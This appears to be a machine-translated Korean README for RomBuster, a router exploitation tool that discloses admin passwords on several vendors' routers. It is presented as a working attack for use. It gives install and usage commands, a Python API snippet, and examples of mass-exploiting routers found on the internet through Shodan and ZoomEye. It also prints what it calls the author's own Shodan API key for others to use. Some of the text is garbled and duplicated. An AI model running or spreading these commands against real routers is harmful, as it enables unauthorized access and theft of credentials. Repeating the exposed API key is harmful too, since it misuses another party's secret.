entysec/rombusterRomBuster는 네트워크 라우터 관리자 비밀번호를 노출할 수 있는 라우터 익스플로잇 도구입니다.
RomBuster는 네트워크 라우터 관리자 비밀번호를 알아낼 수 있는 라우터 익스플로잇 도구입니다.
D-Link, Zyxel, TP-Link, Cisco, Huawei)의 취약점을 악용합니다.pip3 install git+https://github.com/EntySec/RomBuster
To use RomBuster just type rombuster in your terminal.
usage: rombuster [-h] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
[--zoomeye ZOOMEYE] [-p PAGES]
RomBuster is a router exploitation tool that allows to disclosure network
router admin password.
optional arguments:
-h, --help show this help message and exit
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.
단일 라우터 익스플로잇
재미로 내 라우터를 해킹해 봅시다.
rombuster -a 192.168.99.1
인터넷에서 라우터 익스플로잇
인터넷을 통해 라우터를 악용하기 위해 Shodan 검색 엔진을 사용해 봅시다.
rombuster --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD
참고: 제공된 Shodan API 키(PSKINdQe1GyxGgecYz2191H2JoS9qvgD)는 제 PRO API 키입니다. 이 키를 사용하거나 여러분의 키를 사용하셔도 됩니다. 모든 리소스를 자유롭게 사용하세요 :)
입력 파일에서 라우터 익스플로잇
열린 라우터 데이터베이스를 사용해 봅시다.
rombuster -i routers.txt -o passwords.txt
참고: routers.txt 목록에 있는 모든 라우터를 해당 주소로 악용하고 획득한 모든 비밀번호를 passwords.txt에 저장합니다.
RomBuster는 또한 코드에 RomBuster를 임포트하여 호출할 수 있는 자체 Python API를 제공합니다.
from rombuster import RomBuster
지정된 라우터를 악용하는 데 사용할 수 있는 RomBuster의 모든 기본 함수입니다.
exploit(address) - 주어진 주소로 단일 라우터를 악용합니다.단일 라우터 익스플로잇
from rombuster import RomBuster
rombuster = RomBuster()
creds = rombuster.exploit('192.168.99.1')
print(creds)